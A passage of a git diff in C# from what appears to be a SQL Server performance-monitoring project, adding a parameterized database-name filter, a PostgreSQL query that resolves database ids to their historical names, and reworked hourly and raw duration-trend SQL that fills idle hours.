+/// The MCP tools wrap their one <c>database_name</c> in <see cref="One"/>, the web route wraps its repeated keys
+/// in <see cref="Of"/>, and both reach the same SQL shape.</para>
+///
+/// <para><b>One SQL shape.</b> A reader's statement carries <see cref="Clause"/> with one <c>$n</c>, and always
+/// binds <see cref="Parameter"/> at that index, so the statement text never changes with the selection: an
+/// empty selection binds SQL NULL and the guard short-circuits to unfiltered. The names travel as ONE
+/// <c>text[]</c> parameter and are never spliced into SQL text, so a name with a comma, a quote or a bracket in
+/// it is still one value. <see cref="Clause"/> and <see cref="Parameter"/> are byte-for-byte the desktop viewer's
+/// <c>DatabaseFilterClause</c> and <c>DatabaseFilterParameter</c> (a test keeps them equal).</para>
+///
+/// <para>The caps on how many names a web request may carry (50, 128 characters each, 4,096 encoded bytes) are
+/// the web route's, not this type's: the route refuses a request over them before it builds a filter.</para>
+/// </summary>
+public readonly record struct DatabaseFilter
+{
+    /// <summary>What <see cref="Describe"/> says for a selection of two or more databases.</summary>
+    public const string ManyDatabasesDescription = "the chosen databases";
+
+    /// <summary>The kept names: null for "all", otherwise at least one, distinct, never blank.</summary>
+    private readonly string[]? _names;
+
+    private DatabaseFilter(string[] names) => _names = names;
+
+    /// <summary>Every database (the same value as <c>default</c>).</summary>
+    public static DatabaseFilter All => default;
+
+    /// <summary>One database by name; a null, empty or whitespace-only name is <see cref="All"/>.</summary>
+    public static DatabaseFilter One(string? name) =>
+        string.IsNullOrWhiteSpace(name) ? default : new DatabaseFilter([name]);
+
+    /// <summary>
+    /// The listed databases: blank names are dropped, repeats are kept once (ordinal, first seen first), and a
+    /// list with no name left, or a null list, is <see cref="All"/>.
+    /// </summary>
+    public static DatabaseFilter Of(IEnumerable<string?>? names)
+    {
+        if (names is null)
+        {
+            return default;
+        }
+
+        var kept = new List<string>();
+        var seen = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var name in names)
+        {
+            if (!string.IsNullOrWhiteSpace(name) && seen.Add(name))
+            {
+                kept.Add(name);
+            }
+        }
+
+        return kept.Count == 0 ? default : new DatabaseFilter(kept.ToArray());
+    }
+
+    /// <summary>True when no database is named, so the read covers every database.</summary>
+    public bool IsAll => _names is null;
+
+    /// <summary>The kept names, in the order they were given; empty for <see cref="All"/>.</summary>
+    public IReadOnlyList<string> Names => _names is null ? Array.Empty<string>() : Array.AsReadOnly(_names);
+
+    /// <summary>
+    /// The one <c>text[]</c> parameter a statement carrying <see cref="Clause"/> binds: SQL NULL for
+    /// <see cref="All"/>, the names otherwise. A new parameter on every call, because a parameter belongs to
+    /// one command.
+    /// </summary>
+    public NpgsqlParameter Parameter() =>
+        new()
+        {
+            NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text,
+            Value = _names is null ? DBNull.Value : _names.Clone(),
+        };
+
+    /// <summary>
+    /// The always-present predicate, spliced into a WHERE clause. <paramref name="column"/> is the (optionally
+    /// qualified) database-name column and <paramref name="index"/> the positional index
+    /// <see cref="Parameter"/> is bound at. It does not depend on the selection, which is the point.
+    /// </summary>
+    public string Clause(string column, int index) =>
+        $" AND (${index}::text[] IS NULL OR {column} = ANY(${index}))";
+
+    /// <summary>
+    /// How an envelope or a notice names the selection: null for <see cref="All"/>, the name itself for one
+    /// database, and <see cref="ManyDatabasesDescription"/> for two or more.
+    /// </summary>
+    public string? Describe() =>
+        _names switch
+        {
+            null => null,
+            { Length: 1 } => _names[0],
+            _ => ManyDatabasesDescription,
+        };
+
+    /// <summary>Two filters are equal when they name the same set of databases, whatever the order.</summary>
+    public bool Equals(DatabaseFilter other)
+    {
+        if (_names is null || other._names is null)
+        {
+            return _names is null && other._names is null;
+        }
+
+        if (_names.Length != other._names.Length)
+        {
+            return false;
+        }
+
+        // The names are distinct, so the same length with every name present is the same set.
+        foreach (var name in _names)
+        {
+            if (Array.IndexOf(other._names, name) < 0)
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /// <summary>The hash of the set: it does not depend on the order, as <see cref="Equals(DatabaseFilter)"/> does not.</summary>
+    public override int GetHashCode()
+    {
+        var hash = 0;
+        if (_names is not null)
+        {
+            foreach (var name in _names)
+            {
+                hash += StringComparer.Ordinal.GetHashCode(name);
+            }
+        }
+
+        return hash;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DatabaseNameHistoryReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DatabaseNameHistoryReader.cs
new file mode 100644
index 0000000000..e7cf3014ae
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/DatabaseNameHistoryReader.cs
@@ -0,0 +1,181 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// #5373: reads the database_id to database_name history a severe error is resolved against, so the Darling MCP
+/// tool and the desktop viewer's Severe Errors tab (both reference this project) resolve an id to the name it carried
+/// at the error's own time, with the one query. SQL Server reuses the id of a dropped database, so the server's
+/// LATEST map names the wrong database for an old error. The rule itself lives in <see cref="DatabaseNameHistory"/>.
+/// </summary>
+public static class DatabaseNameHistoryReader
+{
+    /// <summary>
+    /// The id-to-name change points, from the collected size snapshots (<c>database_size_stats</c> is the only
+    /// collected table carrying BOTH database_id and database_name for every online DB), limited to the errors' own
+    /// time range, in one query.
+    /// <para><c>floor_snap</c> is the newest snapshot at or before the first error (a backward walk of the
+    /// <c>(server_id, collection_time)</c> index that stops at its first row), <c>snap</c> is every snapshot from
+    /// there to the last error, and <c>runs</c> keeps the rows where an id's name differs from its previous snapshot
+    /// (ties on one instant break by name, so the result is fixed).</para>
+    /// <para>The floor snapshot is server-wide, so an id missing from it (an offline, suspect or excluded database is
+    /// not collected) gets <c>before_floor</c>: its newest row before the floor, for every such id in ONE pass. The
+    /// last arm covers an id with NO row up to the last error: its oldest row after it, also one pass over only the
+    /// ids still unfound.</para>
+    /// <para>Both extra arms are bounded by <see cref="DatabaseNameHistory.LookbackDays"/> on the time index
+    /// (<c>before_floor</c> back from the floor, <c>after_range</c> forward from the last error): an id that is never
+    /// collected (an excluded database, id 32767) must not make every refresh scan the whole history. When one id has two
+    /// names at one instant, the larger name in ordinal order wins in every arm.</para>
+    /// $1 server_id, $2 first error time, $3 last error time, $4 the int[] of database ids the errors carry,
+    /// $5 the look-back interval.
+    /// </summary>
+    public const string Sql = """
+        WITH floor_snap AS (
+            SELECT COALESCE(MAX(collection_time), $2) AS floor_time
+            FROM v_database_size_stats
+            WHERE server_id = $1
+            AND   collection_time <= $2
+        ),
+        snap AS (
+            SELECT DISTINCT database_id, database_name, collection_time
+            FROM v_database_size_stats
+            WHERE server_id = $1
+            AND   collection_time >= (SELECT floor_time FROM floor_snap)
+            AND   collection_time <= $3
+            AND   database_id = ANY($4)
+            AND   database_name IS NOT NULL
+        ),
+        runs AS (
+            SELECT
+                database_id,
+                database_name,
+                collection_time,
+                LAG(database_name) OVER (PARTITION BY database_id ORDER BY collection_time, database_name COLLATE "C") AS previous_name
+            FROM snap
+        ),
+        missing AS (
+            SELECT u.database_id
+            FROM unnest($4) AS u(database_id)
+            WHERE NOT EXISTS
+                  (
+                      SELECT 1 FROM snap AS s
+                      WHERE s.database_id = u.database_id
+                      AND   s.collection_time = (SELECT floor_time FROM floor_snap)
+                  )
+        ),
+        before_floor AS (
+            SELECT DISTINCT ON (d.database_id) d.database_id, d.database_name, d.collection_time
+            FROM v_database_size_stats AS d
+            WHERE EXISTS (SELECT 1 FROM missing)
+            AND   d.server_id = $1
+            AND   d.collection_time < (SELECT floor_time FROM floor_snap)
+            AND   d.collection_time >= (SELECT floor_time FROM floor_snap) - $5::interval
+            AND   d.database_id IN (SELECT m.database_id FROM missing AS m)
+            AND   d.database_name IS NOT NULL
+            ORDER BY d.database_id, d.collection_time DESC, d.database_name COLLATE "C" DESC
+        ),
+        unfound AS (
+            SELECT m.database_id
+            FROM missing AS m
+            WHERE NOT EXISTS (SELECT 1 FROM before_floor AS b WHERE b.database_id = m.database_id)
+            AND   NOT EXISTS (SELECT 1 FROM snap AS s WHERE s.database_id = m.database_id)
+        ),
+        after_range AS (
+            SELECT DISTINCT ON (d.database_id) d.database_id, d.database_name, d.collection_time
+            FROM v_database_size_stats AS d
+            WHERE EXISTS (SELECT 1 FROM unfound)
+            AND   d.server_id = $1
+            AND   d.collection_time > $3
+            AND   d.collection_time <= $3 + $5::interval
+            AND   d.database_id IN (SELECT f.database_id FROM unfound AS f)
+            AND   d.database_name IS NOT NULL
+            ORDER BY d.database_id, d.collection_time ASC, d.database_name COLLATE "C" DESC
+        )
+        SELECT database_id, database_name, collection_time
+        FROM runs
+        WHERE previous_name IS DISTINCT FROM database_name
+        UNION ALL
+        SELECT database_id, database_name, collection_time FROM before_floor
+        UNION ALL
+        SELECT database_id, database_name, collection_time FROM after_range
+        """;
+
+    /// <summary>
+    /// The newest row per requested id, for an error with no time (it is named by its id's newest name). Read only
+    /// when such an error is shown, in one pass over the last <see cref="DatabaseNameHistory.LookbackDays"/> days.
+    /// $1 server_id, $2 the int[] of database ids, $3 the oldest time to look at.
+    /// </summary>
+    public const string NewestSql = """
+        SELECT DISTINCT ON (database_id) database_id, database_name, collection_time
+        FROM v_database_size_stats
+        WHERE server_id = $1
+        AND   database_id = ANY($2)
+        AND   collection_time >= $3
+        AND   database_name IS NOT NULL
+        ORDER BY database_id, collection_time DESC, database_name COLLATE "C" DESC
+        """;
+
+    /// <summary>
+    /// Loads the history for the severe errors with the given (database id, time) pairs. No real id to resolve returns
+    /// <see cref="DatabaseNameHistory.Empty"/> without touching the store. An error with no time is resolved to its
+    /// id's newest name, which takes one more read, made only when such an error is shown.
+    /// </summary>
+    public static async Task<DatabaseNameHistory> ReadAsync(
+        NpgsqlDataSource postgres, int serverId, IEnumerable<(int? DatabaseId, DateTime? EventTime)> errors,
+        int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var plan = DatabaseNameHistory.Plan(errors);
+        if (plan.Ids.Length == 0)
+            return DatabaseNameHistory.Empty;
+
+        var changes = new List<DatabaseNameHistory.Change>();
+        if (plan.Range is { } range)
+        {
+            await using var command = postgres.CreateCommand(Sql);
+            command.CommandTimeout = commandTimeoutSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(range.Min, DateTimeKind.Unspecified) });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(range.Max, DateTimeKind.Unspecified) });
+            command.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = plan.Ids });
+            command.Parameters.Add(new NpgsqlParameter<TimeSpan> { TypedValue = DatabaseNameHistory.LookbackWindow });
+            await ReadChangesAsync(command, changes, cancellationToken);
+        }
+
+        if (plan.NeedsNewest)
+        {
+            await using var newest = postgres.CreateCommand(NewestSql);
+            newest.CommandTimeout = commandTimeoutSeconds;
+            newest.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            newest.Parameters.Add(new NpgsqlParameter<int[]> { TypedValue = plan.Ids });
+            newest.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(DateTime.UtcNow - DatabaseNameHistory.LookbackWindow, DateTimeKind.Unspecified) });
+            await ReadChangesAsync(newest, changes, cancellationToken);
+        }
+
+        return new DatabaseNameHistory(changes);
+    }
+
+    private static async Task ReadChangesAsync(NpgsqlCommand command, List<DatabaseNameHistory.Change> changes, CancellationToken cancellationToken)
+    {
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            if (reader.IsDBNull(0) || reader.IsDBNull(1) || reader.IsDBNull(2))
+                continue;
+            changes.Add(new DatabaseNameHistory.Change(reader.GetInt32(0), reader.GetString(1), reader.GetDateTime(2)));
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs b/Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs
index 8a064ce985..9b8c7a85ad 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs
@@ -7,12 +7,13 @@
  */
 
 using System;
+using PerformanceMonitor.Collectors;
 
 namespace PerformanceMonitor.Darling.Storage;
 
 /// <summary>
 /// Where an unkeyed duration trend (query-stats, procedure-stats) reads from, and what it says about what it
-/// served — the tier decision, the hourly-tier SQL, the raw-tier SQL (<see cref="BuildRawTrendSql"/>, #3653
+/// served — the tier decision, the hourly-tier SQL, the raw-tier SQL (<see cref="BuildBucketedRawTrendSql"/>, #3653
 /// A11), and the coverage description that the MCP reader
 /// (<c>DarlingTrendReader</c>, #3590) and the desktop viewer's Performance Trends tab
 /// (<c>ViewerDataService.QueryTrends</c>, #3653) share, so the two apps cannot disagree about which relation
@@ -161,13 +162,45 @@ public static (DateTime EffectiveStartUtc, bool Truncated) DescribeCoverage(Date
     /// $1 server_id, $2/$3 window (naive UTC; $3 is EXCLUSIVE — a bucket is stamped at its START, so the hour
     /// that begins at $3 lies after the window and is not read).</para>
     /// </summary>
-    public static string BuildHourlyTrendSql(string hourlyView, bool withDatabaseFilter)
+    public static string BuildHourlyTrendSql(string hourlyView, bool withDatabaseFilter, bool coverIdleHours = false)
     {
         ArgumentException.ThrowIfNullOrWhiteSpace(hourlyView);
 
-        var filter = withDatabaseFilter
-            ? "\nAND   ($4::text[] IS NULL OR database_name = ANY($4))"
-            : "";
+        if (coverIdleHours)
+        {
+            return BuildHourlyTrendWithIdleHoursSql(hourlyView, withDatabaseFilter);
+        }
+
+        if (withDatabaseFilter)
+        {
+            /* #5414 round 2: the same rule as the bucketed read. The filter sits inside the sums, so an hour the chosen
+               databases had no rollup row in is a measured 0 (the store held the hour), not a missing point, and the
+               chart's data-start banner is not pushed to the databases' first hour. Whether they had any row in the
+               window is one window-level test, which keeps the answer empty when they had none. */
+            const string match = "$4::text[] IS NULL OR database_name = ANY($4)";
+            return $"""
+                WITH hourly AS
+                (
+                    SELECT
+                        bucket,
+                        COALESCE(SUM(elapsed_time_sum) FILTER (WHERE {match}), 0) AS elapsed_time_sum,
+                        COALESCE(SUM(execution_count_sum) FILTER (WHERE {match}), 0) AS execution_count_sum,
+                        COUNT(*) FILTER (WHERE {match}) AS matched_rows
+                    FROM {hourlyView}
+                    WHERE server_id = $1
+                    AND   bucket >= $2
+                    AND   bucket < $3
+                    GROUP BY bucket
+                )
+                SELECT
+                    bucket AS collection_time,
+                    elapsed_time_sum / 1000.0 / {HourlyBucketSecondsSql} AS elapsed_ms_per_second,
+                    CAST(execution_count_sum AS DOUBLE PRECISION) / {HourlyBucketSecondsSql} AS executions_per_second
+                FROM hourly
+                WHERE EXISTS (SELECT 1 FROM hourly WHERE matched_rows > 0)
+                ORDER BY bucket
+                """;
+        }
 
         return $"""
             SELECT
@@ -177,87 +210,165 @@ public static string BuildHourlyTrendSql(string hourlyView, bool withDatabaseFil
             FROM {hourlyView}
             WHERE server_id = $1
             AND   bucket >= $2
-            AND   bucket < $3{filter}
+            AND   bucket < $3
             GROUP BY bucket
             ORDER BY bucket
             """;
     }
 
+    /// <summary>
+    /// #5449: the procedure rollups hold no row for an hour in which no procedure did work (the collector stores no row for a
+    /// procedure that did none, where an older store kept zero rows), so a fully idle hour is a gap in the rollup where an older
+    /// store has a measured 0. <see cref="BuildHourlyTrendSql"/>'s read with the idle hours (<see cref="ProcedureIdleHoursSql"/>)
+    /// added to the rollup's hours as zero work over the same <see cref="HourlyBucketSecondsSql"/>. Read time only, no change to
+    /// the rollup. $1..$4 as <see cref="BuildHourlyTrendSql"/>.
+    /// </summary>
+    private static string BuildHourlyTrendWithIdleHoursSql(string hourlyView, bool withDatabaseFilter)
+    {
+        const string match = "$4::text[] IS NULL OR database_name = ANY($4)";
+        var sums = withDatabaseFilter
+            ? $"COALESCE(SUM(elapsed_time_sum) FILTER (WHERE {match}), 0) AS elapsed_time_sum,\n"
+              + $"                COALESCE(SUM(execution_count_sum) FILTER (WHERE {match}), 0) AS execution_count_sum,\n"
+              + $"                COUNT(*) FILTER (WHERE {match}) AS matched_rows"
+            : "SUM(elapsed_time_sum) AS elapsed_time_sum,\n"
+              + "                SUM(execution_count_sum) AS execution_count_sum";
+        var windowHasRows = withDatabaseFilter
+            ? "\n            WHERE EXISTS (SELECT 1 FROM hourly WHERE matched_rows > 0)"
+            : "";
+
+        return $"""
+            WITH hourly AS
+            (
+                SELECT
+                    bucket,
+                    {sums}
+                FROM {hourlyView}
+                WHERE server_id = $1
+                AND   bucket >= $2
+                AND   bucket < $3
+                GROUP BY bucket
+            ),
+            {ProcedureIdleHoursSql()},
+            filled AS
+            (
+                SELECT bucket, elapsed_time_sum, execution_count_sum
+                FROM hourly
+                UNION ALL
+                SELECT idle_hours.bucket, 0, 0
+                FROM idle_hours
+                WHERE NOT EXISTS (SELECT 1 FROM hourly WHERE hourly.bucket = idle_hours.bucket)
+            )
+            SELECT
+                bucket AS collection_time,
+                elapsed_time_sum / 1000.0 / {HourlyBucketSecondsSql} AS elapsed_ms_per_second,
+                CAST(execution_count_sum AS DOUBLE PRECISION) / {HourlyBucketSecondsSql} AS executions_per_second
+            FROM filled{windowHasRows}
+            ORDER BY bucket
+            """;
+    }
+
+    /// <summary>
+    /// #5449: the CTEs (<c>run_hours</c> and <c>idle_hours</c>, the hours the rollup has no row for) that add the idle hours to the
+    /// hourly read. An hour is in the series when the rollup has a row, OR a SUCCESS run of the collector falls in it AND the raw
+    /// <c>procedure_stats</c> table holds no row in that hour: a collector that ran and stored nothing measured zero work over the
+    /// 3,600 seconds. The runs come from <c>collect.collection_log</c> (a run is logged after it finishes, so its point is the log
+    /// time less its <c>duration_ms</c>, the same instant the raw tier plots an idle run at).
+    ///
+    /// <para>The raw-row test is what keeps the one or two trailing hours the continuous aggregate has not materialized yet a gap on
+    /// a busy server instead of a false 0: those hours have raw rows. An outage hour (no rollup row, no run) stays a gap, so a
+    /// bucket's seconds do not count time the collector was down. Hours older than the log (it keeps 60 days) have no runs, and a
+    /// store that never logged runs has none at all: both read as the rollup alone, which is the rule before this fill existed. An
+    /// old materialization hole past raw retention, with runs, reads 0. Uses the log's watermark index; the raw probe per hour
+    /// is a no-op once the raw rows are past retention. Only idle runs (<c>rows_collected = 0</c>) make an hour: a busy run that starts at
+    /// H:59:58 plots in the next hour, and counting it there would fill an outage hour with a 0 instead of a gap. $1 server_id, $2/$3 window (naive UTC, $3 exclusive, as the rollup read).</para>
+    /// </summary>
+    private static string ProcedureIdleHoursSql()
+        => $"""
+            run_hours AS
+            (
+                SELECT DISTINCT date_trunc('hour', collection_time - COALESCE(duration_ms, 0) * INTERVAL '1 millisecond') AS bucket
+                FROM {PgSchemaGenerator.CollectSchema}.collection_log
+                WHERE server_id = $1
+                AND   collector_name = 'procedure_stats'
+                AND   status = 'SUCCESS'
+                AND   rows_collected = 0
+                AND   collection_time >= $2
+                AND   collection_time < $3 + INTERVAL '1 hour'
+            ),
+            idle_hours AS
+            (
+                SELECT run_hours.bucket
+                FROM run_hours
+                WHERE run_hours.bucket >= $2
+                AND   run_hours.bucket < $3
+                AND   NOT EXISTS
+                (
+                    SELECT 1
+                    FROM procedure_stats
+                    WHERE procedure_stats.server_id = $1
+                    AND   procedure_stats.collection_time >= run_hours.bucket
+                    AND   procedure_stats.collection_time < run_hours.bucket + INTERVAL '1 hour'
+                )
+            )
+            """;
+
     /// <summary>The query-stats hourly trend — <see cref="BuildHourlyTrendSql"/> over
     /// <see cref="TimescaleSupport.QueryStatsHourlyView"/>.</summary>
     public static string QueryDurationTrendHourlySql(bool withDatabaseFilter)
         => BuildHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView, withDatabaseFilter);
 
     /// <summary>
-    /// The raw-tier (per-collection) duration trend over <paramref name="rawTable"/> — <c>query_stats</c> or
-    /// <c>procedure_stats</c>, the two plan-cache delta families — with the interval the store HAS (#3653,
-    /// measurement A11): per collection, the summed <c>delta_elapsed_time</c> (→ ms) and
-    /// <c>delta_execution_count</c> divided by that collection's <c>sample_interval_seconds</c>, and the
-    /// gap-to-previous-collection LAG only where the store never recorded one. Projects the same three
-    /// columns under the same aliases as <see cref="BuildHourlyTrendSql"/> so one mapper serves both tiers.
+    /// The per-collection CTE both raw-tier bucketed statements read (<see cref="BuildBucketedRawTrendSql"/>: the MCP
+    /// tools, #3897, and the viewer's and desktop's charts, #4234): per collection, the summed
+    /// <c>delta_elapsed_time</c> (to ms) and <c>delta_execution_count</c> and the interval the store HAS (#3653,
+    /// measurement A11), the gap-to-previous-collection LAG only where the store never recorded one. (The per-collection
+    /// builder this CTE was factored out of had no production caller after #4234 and is gone; its rate rule is stated here.)
     ///
     /// <para><b>The interval is read, not recomputed.</b> Both tables have carried <c>sample_interval_seconds</c>
-    /// since their first rung (the #3540 keystone's own words: "perfmon/query_stats already have the column"),
-    /// stamped per row by the shared delta calculator from the SAME two collection instants a LAG over
-    /// <c>collection_time</c> re-derives — so on a steady series the two agree to the second, and the
-    /// difference is exactly the rows where they must not: a row the calculator could not difference (first
-    /// sighting, counter reset, a gap past the delta policy — in practice a restart) stores <c>0</c> beside a
-    /// <c>0</c> delta, and the LAG happily divided that fabricated 0 by the real elapsed seconds into a confident
-    /// <c>0.00 ms/sec</c> at exactly the instant nothing was knowable. The query-stats copies of this read
-    /// (the MCP reader's raw const, the viewer's, Lite's two) kept the LAG-only shape after the procedure
-    /// copies moved to the stored interval in V128 — the A11 residual #3540 reported rather than rewrote —
-    /// and this builder is where it is rewritten once for both apps.</para>
+    /// since their first rung, stamped per row by the shared delta calculator from the SAME two collection instants a
+    /// LAG over <c>collection_time</c> would see; reading it keeps a restart honest. A restart zeroes the delta, and
+    /// a LAG divides that fabricated 0 by the real elapsed seconds into a confident <c>0.00 ms/sec</c> at exactly the
+    /// instant nothing was knowable.</para>
     ///
     /// <para><b>Three states per collection, read distinctly</b> (the #2234 / #3540 contract): <c>MAX</c> over
     /// the collection's rows, because a plan first seen in an otherwise steady pass (a TOP (150) readmission)
     /// stores 0 beside its siblings' real interval and contributes 0 to the sums, so MAX is the collection's
     /// measured interval and is 0 only when EVERY row was unknowable (a restart). That 0 becomes NULL through
-    /// <c>NULLIF</c>, so the rates are NULL — an UNRATED point, never <c>0.00</c>. A NULL MAX is a pre-V128
+    /// <c>NULLIF</c>, so the rates are NULL: an UNRATED collection, never <c>0.00</c>. A NULL MAX is a pre-V128
     /// collection that never recorded an interval, and only there does the LAG stand in, so history renders
     /// exactly as it did. <c>COALESCE(NULLIF(sample_interval_seconds, 0), LAG)</c> would be the WRONG spelling:
-    /// it falls back to a fabricated interval on precisely the restart row the marker exists to flag.</para>
+    /// it falls back to a fabricated interval on precisely the restart row the marker exists to flag. No
+    /// <c>ELSE 0</c> anywhere: a collection with no rate keeps its row with NULL rate columns (#3541 A12: the
+    /// collection happened, and <c>effective_start</c> is truthfully its instant).</para>
     ///
-    /// <para>No <c>ELSE 0</c>: the first collection of a pre-V128 stretch has a NULL LAG and no rate, and a
-    /// restart collection has no rate — both rows are KEPT with NULL rate columns (#3541 A12: the collection
-    /// happened, <c>effective_start</c> is truthfully its instant, and a lone collection is "no rate yet", not
-    /// an empty window). The MCP reader publishes such a point as null with the reason; the viewer's chart
-    /// reader skips it. With <paramref name="withDatabaseFilter"/>, $4 is the viewer's guarded <c>text[]</c>
-    /// database filter (#1319); without it the text is what the MCP reader runs. $1 server_id, $2/$3 window
-    /// (naive UTC). Reads the BASE table (no text columns are projected, so the payload-resolving
-    /// <c>v_*</c> view is not needed).</para>
+    /// <para>With <paramref name="withDatabaseFilter"/>, $4 is the viewer's database clause, applied INSIDE the
+    /// aggregates (#5414 M1) and not in the WHERE: the collection's interval is the collection's, whichever databases
+    /// were asked about, so a collection where the chosen database had no rows (the query-stats collector keeps only
+    /// plans that ran in the last ten minutes, so a quiet database is absent from most collections) stays in the bucket
+    /// as zero work over its real seconds instead of vanishing from the denominator and reading the rate high.
+    /// <c>matched_rows</c> counts the rows that passed the filter; it decides ONE thing, whether the chosen databases had
+    /// any row in the WHOLE window (the tool's <c>empty</c>), never which buckets exist (#5414 round 2: a per-bucket test
+    /// dropped the buckets the databases were quiet in, so they read missing instead of 0 and the window read
+    /// truncated). Unfiltered, the text carries no FILTER and no <c>matched_rows</c>. Reads the BASE table (no text
+    /// columns are projected, so the payload-resolving <c>v_*</c> view is not needed). $1 server_id, $2/$3 window
+    /// (naive UTC).</para>
     /// </summary>
-    public static string BuildRawTrendSql(string rawTable, bool withDatabaseFilter)
+    private static string RawCollectionsCte(string rawTable, bool withDatabaseFilter)
     {
-        ArgumentException.ThrowIfNullOrWhiteSpace(rawTable);
-
-        var filter = withDatabaseFilter
-            ? "\n    AND   ($4::text[] IS NULL OR database_name = ANY($4))"
-            : "";
+        const string match = "$4::text[] IS NULL OR database_name = ANY($4)";
+        var sums = withDatabaseFilter
+            ? $"COALESCE(SUM(delta_elapsed_time) FILTER (WHERE {match}), 0) / 1000.0 AS total_elapsed_ms,\n"
+              + $"        COALESCE(SUM(delta_execution_count) FILTER (WHERE {match}), 0) AS total_executions,\n"
+              + $"        COUNT(*) FILTER (WHERE {match}) AS matched_rows,"
+            : "SUM(delta_elapsed_time) / 1000.0 AS total_elapsed_ms,\n"
+              + "        SUM(delta_execution_count) AS total_executions,";
 
         return $"""
-            WITH {RawCollectionsCte(rawTable, filter)}
-            SELECT
-                collection_time,
-                CASE WHEN interval_seconds > 0 THEN total_elapsed_ms / interval_seconds END AS elapsed_ms_per_second,
-                CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second
-            FROM raw
-            ORDER BY collection_time
-            """;
-    }
-
-    /// <summary>
-    /// The per-collection CTE both raw-tier statements read — <see cref="BuildRawTrendSql"/> (the viewer's chart
-    /// and, with its filter, the desktop's Performance Trends) and <see cref="BuildBucketedRawTrendSql"/> (the MCP
-    /// tools, #3897) — one text, so the chart's points and the tool's buckets are built from the same collections
-    /// with the same three-state interval. <paramref name="filter"/> is the viewer's database clause or empty.
-    /// </summary>
-    private static string RawCollectionsCte(string rawTable, string filter) => $"""
         raw AS
         (
             SELECT
                 collection_time,
-                SUM(delta_elapsed_time) / 1000.0 AS total_elapsed_ms,
-                SUM(delta_execution_count) AS total_executions,
+                {sums}
                 CASE WHEN MAX(sample_interval_seconds) IS NULL
                      THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
                      ELSE NULLIF(MAX(sample_interval_seconds), 0)
@@ -265,15 +376,146 @@ END AS interval_seconds
             FROM {rawTable}
             WHERE server_id = $1
             AND   collection_time >= $2
-            AND   collection_time <= $3{filter}
+            AND   collection_time <= $3
             GROUP BY collection_time
         )
         """;
+    }
+
+    /// <summary>
+    /// #5449: the per-collection CTE the bucketed raw statement reads for <c>procedure_stats</c>, in place of
+    /// <see cref="RawCollectionsCte"/>. The collector stores no row for a procedure that did no work in a cycle, so the stored
+    /// collections alone are not the time axis: a minute in which nothing ran is a measured 0, not missing data.
+    ///
+    /// <para><b>The axis is the collector's SUCCESS runs.</b> A run that stored rows is a point at its stored
+    /// <c>collection_time</c> (rows are stamped at the run's start). A run that stored none (<c>collect.collection_log</c> logs it
+    /// after it finishes, so its row is later than the run's start) is an idle point carrying work 0 at the instant it began,
+    /// the log time less its <c>duration_ms</c>. <c>duration_ms</c> is the SQL and storage time, never more than the run's wall
+    /// clock, so the point never lands before the real start. A run owns the rows stamped after the previous SUCCESS run's log
+    /// time up to its own; it is idle when it owns none. (The stored collections and the runs are merged into one ordered list,
+    /// and a run whose predecessor in that list is another run, or nothing, owns no row: one sort, never a probe of the
+    /// stored collections per run.) A run that failed stores nothing and is no point: the next point's gap
+    /// covers it. Without a log (imported or old data) the axis is the stored collections alone.</para>
+    ///
+    /// <para><b>A point's seconds</b> are the gap to the previous point, or NULL (an unrated point, counted by the bucket) when the
+    /// gap passes <see cref="CollectorDeltaCalculator.DefaultMaxGapSeconds"/>, the collector's own limit: a longer outage is
+    /// out of the bucket's seconds, and a shorter one sits in the next point's gap, whose deltas measured it. A stored
+    /// collection whose rows all carry interval 0 is a restart (the three-state contract, #3540) and stays unrated. The first
+    /// point of the series has no previous point and uses the stored interval it carries (an idle one has none: unrated). A
+    /// returning procedure's whole delta lands in the run that stored it and divides by that run's gap, never by the 10-50 minutes
+    /// the row itself was last seen: the bucket's total work over its seconds is exact, and that run's own rate and peak read
+    /// high.</para>
+    ///
+    /// <para>Both tables are read from <c>$2 - 1 hour</c> so the first point in the window has its previous point; points before
+    /// <c>$2</c> are dropped after the previous point is found. The runs are read to <c>$3 + 1 hour</c>, because a run is logged
+    /// after it finishes: an idle run that began inside the window but was logged just past <c>$3</c> still plots its 0. Stored
+    /// rows stop at <c>$3</c> and the points do too (a run past <c>$3</c> whose rows were not read is dropped by that final bound,
+    /// its point is never earlier than its own start). With <paramref name="withDatabaseFilter"/> the database clause is
+    /// applied inside the sums as in <see cref="RawCollectionsCte"/>, and an idle point carries <c>matched_rows</c> 0. Ends in a
+    /// CTE named <c>raw</c> with the query grain's columns. $1 server_id, $2/$3 window (naive UTC).</para>
+    /// </summary>
+    private static string ProcedureCollectionsCte(bool withDatabaseFilter)
+    {
